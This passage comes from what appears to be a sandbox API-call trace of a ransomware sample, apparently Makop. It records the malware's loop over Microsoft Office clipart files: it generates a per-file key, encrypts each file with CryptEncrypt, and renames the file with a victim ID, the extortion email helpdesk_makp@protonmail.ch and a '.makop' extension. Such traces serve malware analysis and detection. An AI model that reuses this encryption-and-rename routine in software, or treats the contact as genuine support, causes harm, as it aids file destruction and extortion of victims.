lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.802] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.802] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.802] GetProcessHeap () returned 0x48a0000 [0118.802] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.802] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.802] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.802] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.803] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.803] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.803] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.804] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0118.805] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0118.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.806] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0118.806] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.806] SetEndOfFile (hFile=0xf0) returned 1 [0118.814] GetProcessHeap () returned 0x48a0000 [0118.814] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.814] GetProcessHeap () returned 0x48a0000 [0118.814] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.814] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.815] CloseHandle (hObject=0xf0) returned 1 [0118.816] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabe5400, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbabe5400, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101866.BMP", cAlternateFileName="")) returned 1 [0118.816] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0118.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.816] GetProcessHeap () returned 0x48a0000 [0118.816] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.817] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.821] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.821] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.821] GetProcessHeap () returned 0x48a0000 [0118.821] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.821] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.821] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.821] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.821] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.822] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.822] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.823] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.823] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.823] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.823] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0118.825] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0118.826] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.826] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0118.826] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.827] SetEndOfFile (hFile=0xf0) returned 1 [0118.834] GetProcessHeap () returned 0x48a0000 [0118.834] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.834] GetProcessHeap () returned 0x48a0000 [0118.834] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.835] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.836] CloseHandle (hObject=0xf0) returned 1 [0118.836] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0dde00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa0dde00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101867.BMP", cAlternateFileName="")) returned 1 [0118.836] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0118.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.839] GetProcessHeap () returned 0x48a0000 [0118.839] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.839] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.839] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.844] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.844] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.844] GetProcessHeap () returned 0x48a0000 [0118.844] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.844] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.844] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.844] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.844] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.845] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.845] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.846] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.846] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.846] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.846] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.846] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.846] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7f68, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7f68, lpOverlapped=0x0) returned 1 [0118.849] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7f70, dwBufLen=0x7f70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7f70) returned 1 [0118.849] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.849] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7f70, lpOverlapped=0x0) returned 1 [0118.850] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.850] SetEndOfFile (hFile=0xf0) returned 1 [0118.858] GetProcessHeap () returned 0x48a0000 [0118.858] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.858] GetProcessHeap () returned 0x48a0000 [0118.858] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.858] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.858] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.860] CloseHandle (hObject=0xf0) returned 1 [0118.860] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101980.WMF", cAlternateFileName="")) returned 1 [0118.861] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0118.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.863] GetProcessHeap () returned 0x48a0000 [0118.864] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.864] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.864] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.864] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.867] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.867] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.867] GetProcessHeap () returned 0x48a0000 [0118.867] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.867] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.867] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.868] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.868] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.868] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.868] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3ee8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3ee8, lpOverlapped=0x0) returned 1 [0118.870] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ef0) returned 1 [0118.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3ef0, lpOverlapped=0x0) returned 1 [0118.870] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.871] SetEndOfFile (hFile=0xf0) returned 1 [0118.878] GetProcessHeap () returned 0x48a0000 [0118.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.878] GetProcessHeap () returned 0x48a0000 [0118.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.878] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.880] CloseHandle (hObject=0xf0) returned 1 [0118.880] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102002.WMF", cAlternateFileName="")) returned 1 [0118.880] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0118.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, 